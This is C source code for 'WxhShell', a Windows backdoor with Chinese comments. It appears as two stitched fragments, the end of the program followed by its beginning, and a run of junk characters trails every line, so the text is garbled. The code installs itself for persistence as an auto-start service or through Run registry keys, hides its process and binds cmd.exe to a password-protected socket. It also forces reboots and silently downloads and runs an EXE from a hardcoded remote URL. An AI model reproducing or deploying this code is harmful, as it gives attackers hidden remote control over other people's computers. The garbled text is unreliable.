    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V] 0T P#  
    else { UTS.o#d  
    closesocket(wsh); .+ d.~jHX  
    ExitThread(0); E#zLm  
    } eHl)/='  
    break; U_KCN09  
    } p}e1!q;N  
  // 获取shell J`[v u4  
  case 's': { 2L(\-]%f  
    CmdShell(wsh); 7 .y35y  
    closesocket(wsh); mDdL7I  
    ExitThread(0); LX8A@Yct  
    break; 4K(oOxc9.  
  } }.k*4Vw#Wt  
  // 退出 1@:BUE;jZ  
  case 'x': { Ys@OgdS@:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q)[DSM  
    CloseIt(wsh); qokCVI-\  
    break; ]tx/t^&/\u  
    } ,_M  
  // 离开 r oM!%hb  
  case 'q': { /g)(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e.VQ!)>  
    closesocket(wsh); UC@Jsj~f  
    WSACleanup(); s9rKXY',:l  
    exit(1); "&%Lhyt  
    break; 7U1^=Y@t}  
        } H8!)zZ  
  } 5"9 '=LV~  
  } OK" fFv  
#ZyY(S1.  
  // 提示信息 Zg&o][T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6Z#$(oC  
} G0Y]-*1  
  } f\vMdY  
b*)F7{/Z  
  return; 3EV?=R  
} 9<Ks2W.N  
k?;@5r)y-  
// shell模块句柄 M(U<H;Csk  
int CmdShell(SOCKET sock) 4DgH/Yo  
{ ]%2y`Jrl^W  
STARTUPINFO si; 6]|-%  
ZeroMemory(&si,sizeof(si)); z'&tmje[?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "lRxatM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e'|IRhr  
PROCESS_INFORMATION ProcessInfo; zQ#2BOx1  
char cmdline[]="cmd"; 6L<QKE=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +z|@K=d#|  
  return 0; qM18 Ji*  
} #b9V&/ln  
Mc~L%5  
// 自身启动模式 7 MS-Gs|  
int StartFromService(void) |,Kk#`lW<f  
{ :MihVLF  
typedef struct ~%L=<TBAc  
{ ?mHu eX  
  DWORD ExitStatus; 7g>|e  
  DWORD PebBaseAddress; h?Lp9VF  
  DWORD AffinityMask; |OiM(E(  
  DWORD BasePriority; / ?'FSWDU  
  ULONG UniqueProcessId; BG8`B'i  
  ULONG InheritedFromUniqueProcessId; (L*<CV  
}   PROCESS_BASIC_INFORMATION; j6WDh}#  
\Mzr[dI  
PROCNTQSIP NtQueryInformationProcess; N4l}5(e  
aTwBRm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  ]&OI.p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; BA8g[T A7K  
N u3B02D*  
  HANDLE             hProcess; g(C/J9J  
  PROCESS_BASIC_INFORMATION pbi; K5HzA1^  
H`s[=Y,m  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ws<p BC,m  
  if(NULL == hInst ) return 0; VVbFn9+V  
V an=dz G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N~ajrv}kd  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'Q"Mu  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); eD|"?@cE  
VwKfM MI8  
  if (!NtQueryInformationProcess) return 0; I7HGV(  
T"3:dkQw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !0_/=mA^  
  if(!hProcess) return 0; A,EuUp  
i9Eh1A3Y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; AC*SmQ\>!  
PqMu2 e  
  CloseHandle(hProcess); wf_ $#.;m  
~^PNMZk  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); i&q_h>ZT g  
if(hProcess==NULL) return 0; 8g {;o 7  
'p[*2J"K4  
HMODULE hMod; <v!jS=T  
char procName[255];  7LB%7~{<  
unsigned long cbNeeded; @KRia{  
`CRF E5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0oe2X1.%  
j;I( w [@P  
  CloseHandle(hProcess); fohZ&f|>  
`! xI!Y\  
if(strstr(procName,"services")) return 1; // 以服务启动 hka%!W5  
07]9VJa  
  return 0; // 注册表启动 >a bp se  
} L2c\i  
A;k#8&;  
// 主模块 r4ljA@L  
int StartWxhshell(LPSTR lpCmdLine) ,$ Cr9R&/  
{ <'48mip  
  SOCKET wsl; NHcA6y$Cz  
BOOL val=TRUE; J+T tM>  
  int port=0; {e1sq^>|  
  struct sockaddr_in door; X]D:vuB  
kjDmwa+91T  
  if(wscfg.ws_autoins) Install(); Nza@6nI"  
oIniy{  
port=atoi(lpCmdLine); p +nh]  
 U02  
if(port<=0) port=wscfg.ws_port; G#~U\QlG-  
dA^{}zZu  
  WSADATA data; ;oO_5[,M  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; C~WWuju'  
A-, hm=?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =b8u8*ua  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B.!&z-)#  
  door.sin_family = AF_INET; c D .;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X3] [C  
  door.sin_port = htons(port); 9e4`N"#,lI  
P$]K  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \;iOQqv0&  
closesocket(wsl); p(cnSvg  
return 1; E.*gKfL  
} ^%m{yf#  
f&txg,W,yv  
  if(listen(wsl,2) == INVALID_SOCKET) { 96S$Y~G# &  
closesocket(wsl); !K+hXQE1  
return 1; 1h#/8 X  
} NZO86y/  
  Wxhshell(wsl); ac6@E4 _  
  WSACleanup(); f\r"7j  
=:t<!dp  
return 0; NV==[$(r  
Uw| -d[!  
} FAdTp.   
o+L [o_er  
// 以NT服务方式启动 m2&Vm~Py6b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^Nu j/  
{ KEdqA/F>  
DWORD   status = 0; 7H|0.  
  DWORD   specificError = 0xfffffff; 4l>U13~#  
Z|fi$2k0!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4TyzD%pOw  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {?q`9[Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mwMu1#  
  serviceStatus.dwWin32ExitCode     = 0; 4`Zo Ar-5|  
  serviceStatus.dwServiceSpecificExitCode = 0; WJI}~/z;C  
  serviceStatus.dwCheckPoint       = 0; .Yvy37n((  
  serviceStatus.dwWaitHint       = 0; lANi$ :aE  
!/ dH"h  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XB@i{/6K  
  if (hServiceStatusHandle==0) return; l5]R*mR  
h6bvUI+|h  
status = GetLastError(); "a(e2H2&T4  
  if (status!=NO_ERROR) (zxL!ZR<  
{ N<<O(r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?NvE9+n  
    serviceStatus.dwCheckPoint       = 0; 0:-z+`RHE  
    serviceStatus.dwWaitHint       = 0; ';}:*nZ//_  
    serviceStatus.dwWin32ExitCode     = status; 'n^?DPvD  
    serviceStatus.dwServiceSpecificExitCode = specificError; j&U7xv  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vk2%yw>  
    return; Efoy]6P\  
  } 0d+b<J,  
_ nz^+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; neE Zw#(Z  
  serviceStatus.dwCheckPoint       = 0; X]n`YF7  
  serviceStatus.dwWaitHint       = 0; 6, |>;,U7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xAO\'#m  
} [k75+#'  
[P0c,97_ H  
// 处理NT服务事件,比如:启动、停止 j'Q0DF=GV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]HB1JJiS~  
{ BG)zkn$  
switch(fdwControl) t,'J%)j  
{ v;-0^s/P  
case SERVICE_CONTROL_STOP: > 5?c93?  
  serviceStatus.dwWin32ExitCode = 0; }2 \Hg  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,% 'r:@'  
  serviceStatus.dwCheckPoint   = 0; .JTRFk{W  
  serviceStatus.dwWaitHint     = 0; }D`ZWTjDay  
  { ,9"du  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z15 =vsV  
  } 5q'b M  
  return; 0M)\([W9&  
case SERVICE_CONTROL_PAUSE: oB>#P-V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dcTZL$  
  break; &x=_n'  
case SERVICE_CONTROL_CONTINUE: E2z=U  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W$Xr:RU  
  break; PW iuM=E  
case SERVICE_CONTROL_INTERROGATE: .:4*HB  
  break; I+ 3qu=  
}; 6xY6EC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }eI9me@Aa  
} mKyF<1,m  
mkPqxzxbrL  
// 标准应用程序主函数 MiKq|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M= |is*t  
{ `c|H^*RC  
Z0O0Q=e\Y  
// 获取操作系统版本 VC_F Cz  
OsIsNt=GetOsVer(); =v!Z8zk=W  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8kr$w$=q  
XiV K4sD8  
  // 从命令行安装 b6H7>x  
  if(strpbrk(lpCmdLine,"iI")) Install(); Z-pZyDz  
mey -Bn  
  // 下载执行文件 YXmy-o >  
if(wscfg.ws_downexe) { ttH Rc!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~p:hqi1+<+  
  WinExec(wscfg.ws_filenam,SW_HIDE); /VP #J<6L  
} XMykUr e|  
~|"uuA1/#O  
if(!OsIsNt) { S6C DK:  
// 如果时win9x,隐藏进程并且设置为注册表启动 MtgY `p  
HideProc(); 2P${5WT  
StartWxhshell(lpCmdLine); b"`Q&V.  
} keKsLrd  
else <0m^b#hdG  
  if(StartFromService()) 7/fJQM  
  // 以服务方式启动 T,Q7 YI  
  StartServiceCtrlDispatcher(DispatchTable); 3RI6+Cgmn  
else T~SkFZ  
  // 普通方式启动 %Wm)  
  StartWxhshell(lpCmdLine); ( Rp5g}b  
j9w{=( MV  
return 0; +W$uHQq  
} -UAMHd}4  
<Wj /A/  
TEGg)\+D>  
Im};wJ&  
=========================================== 0,):;O I  
jq_4x[  
jeO`45O  
0"N4WH O  
__uk/2q  
ar'VoL}  
" m;IKV,  
{j<?+o5A  
#include <stdio.h> SMU 8U  
#include <string.h> > PL}7f&:  
#include <windows.h> M1k_ldP  
#include <winsock2.h> xF YHv@g  
#include <winsvc.h> Xk:3w,  
#include <urlmon.h> q$s)(D  
\ f VX<L  
#pragma comment (lib, "Ws2_32.lib") - K"L6m|  
#pragma comment (lib, "urlmon.lib") 6/p9ag]  
M?<iQxtyb}  
#define MAX_USER   100 // 最大客户端连接数 .:B0(4Mj  
#define BUF_SOCK   200 // sock buffer a3z_o)"   
#define KEY_BUFF   255 // 输入 buffer J-G)mvkv  
cg_tJ^vrY  
#define REBOOT     0   // 重启 ^vzXT>t-M  
#define SHUTDOWN   1   // 关机 [Z;H= `  
jaVx9FR +  
#define DEF_PORT   5000 // 监听端口 1N { >00  
h+cOOm-)  
#define REG_LEN     16   // 注册表键长度 VP?Q$?a  
#define SVC_LEN     80   // NT服务名长度 a^X% (@Sg  
Nv=%R  
// 从dll定义API y 1Wb/ d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }s#4m  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); '!4\H"t  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (Hmhb}H  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); y]!mN  
=%u=ma;  
// wxhshell配置信息 yFDt%&*n^  
struct WSCFG { naeppBo  
  int ws_port;         // 监听端口 X 3XTB*  
  char ws_passstr[REG_LEN]; // 口令 yM(ezb  
  int ws_autoins;       // 安装标记, 1=yes 0=no *13-)yfd  
  char ws_regname[REG_LEN]; // 注册表键名 M0)ZJti  
  char ws_svcname[REG_LEN]; // 服务名 Fa </  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N ;n55N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 w*(1qUF#%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @kba^z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q'j00/K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 46 |LIc }  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =NPo<^Lae  
h ^w# I  
}; S3QX{5t\  
!HW?/-\,O  
// default Wxhshell configuration O-~cj7 0\  
struct WSCFG wscfg={DEF_PORT, MRK3Cey}%  
    "xuhuanlingzhe", OKj\>3  
    1, *Ct ^jU7  
    "Wxhshell", P`_Q-vu  
    "Wxhshell", 6$csFW3R  
            "WxhShell Service", X&@>M}  
    "Wrsky Windows CmdShell Service", wLg@BSC.  
    "Please Input Your Password: ", Y]B9*^d<  
  1, q'Y)Y(d  
  "http://www.wrsky.com/wxhshell.exe", u=#_8e(9Z  
  "Wxhshell.exe" [?]p I  
    };  z}*L*Sk  
mhs%8OTN  
// 消息定义模块 =}e{U&CX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ws,VO*4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ? fM_Y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  .g=D70  
char *msg_ws_ext="\n\rExit."; =;?Maexp3$  
char *msg_ws_end="\n\rQuit."; x51xY$M  
char *msg_ws_boot="\n\rReboot..."; C6D Eq>v  
char *msg_ws_poff="\n\rShutdown..."; \#"&S@%c  
char *msg_ws_down="\n\rSave to "; q _:7uQ  
/q"8sj/  
char *msg_ws_err="\n\rErr!"; )G#O#Yy  
char *msg_ws_ok="\n\rOK!"; 3Ea/)EB]  
BG]|iHi  
char ExeFile[MAX_PATH]; Xcg+ SOB  
int nUser = 0; Xupwh5G2  
HANDLE handles[MAX_USER]; %kQ[z d^  
int OsIsNt; !\\1#:*_W  
3Z%jx#  
SERVICE_STATUS       serviceStatus; WxtB:7J  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; RTL@WI  
WtMDHfwqu\  
// 函数声明 d#I; e  
int Install(void); 8Urj;KkD  
int Uninstall(void); `2HNQiK'@  
int DownloadFile(char *sURL, SOCKET wsh); <*ME&c gh4  
int Boot(int flag); DM(c :+K-  
void HideProc(void); ^X:g C9  
int GetOsVer(void); sHSg _/|  
int Wxhshell(SOCKET wsl); bHz H0v]:  
void TalkWithClient(void *cs); cNl$ vP83z  
int CmdShell(SOCKET sock); -e*(+  
int StartFromService(void); - KaU@t  
int StartWxhshell(LPSTR lpCmdLine);  LD}<|  
ovvg"/>L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7X.B  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V?jot<|$  
M-C>I;a  
// 数据结构和表定义 #ePtfRzJ  
SERVICE_TABLE_ENTRY DispatchTable[] = A_5M\iN\  
{ ]Lm?3$u$  
{wscfg.ws_svcname, NTServiceMain}, ^F|/\i   
{NULL, NULL} difAQ<`  
}; {9nH#yv  
v%E!  
// 自我安装 4Jw_gOY&D  
int Install(void) @ | (Tg  
{ MQo/R,F }  
  char svExeFile[MAX_PATH]; ]%h|ox0  
  HKEY key; LJ*W&y(2>Q  
  strcpy(svExeFile,ExeFile); uCf _O~  
*p^*>~i9)  
// 如果是win9x系统,修改注册表设为自启动 K|rG&#1J  
if(!OsIsNt) { /nNrvMt v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0?'v|5}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /f!ze|  
  RegCloseKey(key); R]TS5b-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?!n0N\|i]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NH8\&#}nAK  
  RegCloseKey(key); <e-hR$  
  return 0; n%ZOR1u)k#  
    } [nB4s+NX  
  } @t3&#I}mc  
} )'$'?Fn  
else { )"Dl,Fig:/  
q_h/zPuH'  
// 如果是NT以上系统,安装为系统服务  <+p{U(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); b./MVz  
if (schSCManager!=0) #]s&[O43  
{ p+xjYU4^C  
  SC_HANDLE schService = CreateService .^[{~#Pc*  
  ( C\1x3  
  schSCManager, XWf1c ~J  
  wscfg.ws_svcname, 9Cq"Szs  
  wscfg.ws_svcdisp, W JG8E7  
  SERVICE_ALL_ACCESS, :v8~'cZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }(w9[(K  
  SERVICE_AUTO_START, 7[YulC-pH  
  SERVICE_ERROR_NORMAL, GFYHt!&[\  
  svExeFile, UiN6-{v<2  
  NULL, 91}kBj  
  NULL, h@D!/PS  
  NULL, PKX Tj6hj)  
  NULL, ?w>-ya  
  NULL /jd.<r=_I  
  ); 4cJka~  
  if (schService!=0) 'a=QCO 0  
  { xdrs!GV:  
  CloseServiceHandle(schService); Kq zQLu  
  CloseServiceHandle(schSCManager); )'axJ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~x g#6%<=  
  strcat(svExeFile,wscfg.ws_svcname); f9?f!k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =(p]L  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?0'db  
  RegCloseKey(key); )L$)qfQ~x  
  return 0; >~rytg]f  
    } 80Z'1'u0  
  } rLI );!^-  
  CloseServiceHandle(schSCManager); }+GIrEDId  
} n]v,cfn/=<  
} I_iXu;UX  
xC-&<s  
return 1; _{y4N0  
} e<HHgC#J  
'E kuCL  
// 自我卸载 >1NE6T  
int Uninstall(void) 1p COLC%1  
{ "uG@gV  
  HKEY key; K&TO8   
+y9WJ   
if(!OsIsNt) { Ag0)> PD^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'zfj`aqc  
  RegDeleteValue(key,wscfg.ws_regname); *n2le7  
  RegCloseKey(key); ~zL DLr=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <g{d >j  
  RegDeleteValue(key,wscfg.ws_regname); i'uSu8$'*  
  RegCloseKey(key); ,2`FSL%J  
  return 0; ,2Q5'!o  
  } |&AZ95v   
} b' fcWp0  
} 6"u"B-cz  
else { ,?`Zrxe[  
3s$vaV~(a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -=a,FDeR  
if (schSCManager!=0) nn{PhyK  
{ _?c7{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4-~S"T8<u  
  if (schService!=0) roHJ$~q?  
  { oS#PBql4  
  if(DeleteService(schService)!=0) { noQS bI @  
  CloseServiceHandle(schService); Ql{:H5  
  CloseServiceHandle(schSCManager); h0;R*c  
  return 0; Hm 17El68  
  } 3\0,>L9ET@  
  CloseServiceHandle(schService); @XN|R  
  } M|}V6F_y  
  CloseServiceHandle(schSCManager); +$ 0wBU  
} 4LkW`Sbm  
} /=S\v<z  
&v g[k#5  
return 1; 8m 5T  
} 0c$ ')`! m  
8 ;"HM5+  
// 从指定url下载文件 W?R@ eq.9  
int DownloadFile(char *sURL, SOCKET wsh) :L5k#E "u  
{ i{4J$KT  
  HRESULT hr; tDn:B$*}W,  
char seps[]= "/"; 1Y(NxC0P=g  
char *token; u E<1PgW  
char *file; ,<!v!~Iy  
char myURL[MAX_PATH]; Vl%UT@D|  
char myFILE[MAX_PATH]; r Zg(%6@  
V[ 'lB.&t  
strcpy(myURL,sURL); +CXtTasP  
  token=strtok(myURL,seps); n+SHkrW  
  while(token!=NULL)  -wQ@z6R  
  { i.0.oy>  
    file=token; qcGsx2  
  token=strtok(NULL,seps); -DL"Yw}  
  } >h{)7Hv  
b;I zK'  
GetCurrentDirectory(MAX_PATH,myFILE); J)._&O$  
strcat(myFILE, "\\"); 0Q!/A5z  
strcat(myFILE, file); u Xo?  
  send(wsh,myFILE,strlen(myFILE),0); cN%@ nW0i  
send(wsh,"...",3,0); 0rCQz3gh1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7,"y!\  
  if(hr==S_OK) F-%Hw  
return 0; -SUK [<=X  
else aXh~w<5F  
return 1; )8*}-z  
\"1%>O*  
} @cu#rWiG  
\/F*JPhy  
// 系统电源模块 eNu]K,rT  
int Boot(int flag) c)4L3W-x=  
{ ^"] ]rZ)  
  HANDLE hToken; yyM`J7]J  
  TOKEN_PRIVILEGES tkp; Fuy"JmeR  
$nr=4'y Z  
  if(OsIsNt) { vC!B}~RG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^5rB/y,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _t?#  
    tkp.PrivilegeCount = 1; ~' w]%rh!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; fxknfgbg  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); UT_kw}1o  
if(flag==REBOOT) { ,ut7`_Fy  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k c /"  
  return 0; : 22)` ;0  
} QzVoU |  
else { Y T'olk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U<I]_]  
  return 0; t 09-y  
} ?.^n,[2  
  } i'p6#  
  else { z>z9xG'  
if(flag==REBOOT) { bi[g4,`Z;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @|D#lBm  
  return 0; {JQCfs  
} D-LQQ{!D5  
else { 00/ RBs 5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q$b4\n?44  
  return 0; $V,ZH* g  
} m,V"S(A  
} Q%x-BZb~  
HsKq/Oyk  
return 1; "xAIK  
} \hI|I!sDWy  
OM?FpRVU8  
// win9x进程隐藏模块 F+)g!NQZ  
void HideProc(void) PFjh]/=  
{ TgA>(HcO  
_o? I=UN2:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `t3w|%La}  
  if ( hKernel != NULL ) Q[)3r ,D  
  { .S[M: <<*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,0f^>3&n>e  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W/<Lp+p  
    FreeLibrary(hKernel); 9D]bCi\  
  } S4VM(~,o  
@6b4YV h  
return; uc aa;zj  
} >~jl0!2z@  
@cc}[Uw4B  
// 获取操作系统版本 lJdrrR)wg  
int GetOsVer(void) ai"N;1/1O|  
{ BAojP1}+,  
  OSVERSIONINFO winfo; ;:/C.%d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zMh`Uqid  
  GetVersionEx(&winfo); Rk#p zD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jHk.]4&0  
  return 1; sKC(xO@L;`  
  else ,*8)aZ1 k  
  return 0; ~d-Q3n?zR  
} + cZC$lo  
kgd dq  
// 客户端句柄模块 $}B&u)  
int Wxhshell(SOCKET wsl) 7()5\ae@q'  
{ C5Mpm)-%  
  SOCKET wsh; #j'7\SV  
  struct sockaddr_in client; 2=,d.1E3d  
  DWORD myID; ;gLOd5*0  
YmD~&J  
  while(nUser<MAX_USER) e[6Me[b  
{ IV~5Y{(l  
  int nSize=sizeof(client); 5xQ5)B4k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); WO$8j2!~#  
  if(wsh==INVALID_SOCKET) return 1; F`>qg2wO  
x"A\ Z-xxz  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); = u&dU'@q  
if(handles[nUser]==0) f9t+x+ Z  
  closesocket(wsh); I#;.; %u  
else NR"C@3kD]o  
  nUser++; xVTl  
  } 5b->pc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %4})_h?j  
KQ0f2?  
  return 0; udPLWrPF\  
} pm2]  
ra8AUj~RX  
// 关闭 socket $3xDjiBb  
void CloseIt(SOCKET wsh) h-fm)1S_  
{ 3;88a!AA!  
closesocket(wsh); P MI?PC[;  
nUser--; :s1.TQ;Y(  
ExitThread(0); eQ,VK`7X  
} qB+OxyT&  
'sTc=*p/  
// 客户端请求句柄 \F)WUIK  
void TalkWithClient(void *cs) _&[-< cu  
{ %qEp{itq  
r{f$n  
  SOCKET wsh=(SOCKET)cs; 2OjU3z<J  
  char pwd[SVC_LEN]; (:R5"|]@<x  
  char cmd[KEY_BUFF]; PmQeO*f+  
char chr[1]; 5sSAH  
int i,j; _o&NbDH  
lT~WP)  
  while (nUser < MAX_USER) { k"E|E";B  
EyHL&  
if(wscfg.ws_passstr) { jI~$iDdOfs  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]2{]TJ @B  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,+X:#$  
  //ZeroMemory(pwd,KEY_BUFF); }GHC u  
      i=0; '<'5BeU  
  while(i<SVC_LEN) { b5? kgY  
V9cj  
  // 设置超时 h-x~:$Z,  
  fd_set FdRead; x4,[5N"}YK  
  struct timeval TimeOut; 9P*f  
  FD_ZERO(&FdRead); wUL 5"\  
  FD_SET(wsh,&FdRead); 3GrIHiC r  
  TimeOut.tv_sec=8; ?1r<`o3l\  
  TimeOut.tv_usec=0; eI%k xqc  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &q M8)2Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (M{>9rk8  
OGO\u#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3QF[@8EH{  
  pwd=chr[0]; &8I*N6p:%/  
  if(chr[0]==0xd || chr[0]==0xa) { _C19eW'  
  pwd=0; T7o7t5*  
  break; d^`; tD  
  } C=2DxdZG  
  i++; bf.yA:~U  
    } 7 0EH~  
hZWkw{c  
  // 如果是非法用户,关闭 socket eU.C<Tv:8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2B5Ez,'#x  
} x:h)\%Dg<  
c2L\m*^o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !#W3Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dp4vybJ  
/%)(Uz  
while(1) { ?}= $zN  
~ _IQ:]k  
  ZeroMemory(cmd,KEY_BUFF); riRG9c |  
7r2p+LP[  
      // 自动支持客户端 telnet标准   ;|W:,a{kS  
  j=0; b|iIdDK  
  while(j<KEY_BUFF) { &VcO,7 A|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K /%5\h  
  cmd[j]=chr[0]; 0g; o6Fg  
  if(chr[0]==0xa || chr[0]==0xd) { I!Mkss xc  
  cmd[j]=0; 4N= gl(  
  break; &wN}<G e6  
  } F`,Hf Cb\  
  j++; NiQ Y3Nj  
    } Tt=;of{  
%a:T9v  
  // 下载文件 p#3G=FV  
  if(strstr(cmd,"http://")) {  m3^D~4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); mx#)iHY  
  if(DownloadFile(cmd,wsh)) sCp)o,;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); hegH^IN M  
  else =NSunW!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d(Hqj#`-31  
  } n xR\tBv  
  else { R<%{I)  
^:,wk7  
    switch(cmd[0]) { ooP{Q r  
  o 9(x\g  
  // 帮助 RD;A  
  case '?': { O^ 5C  
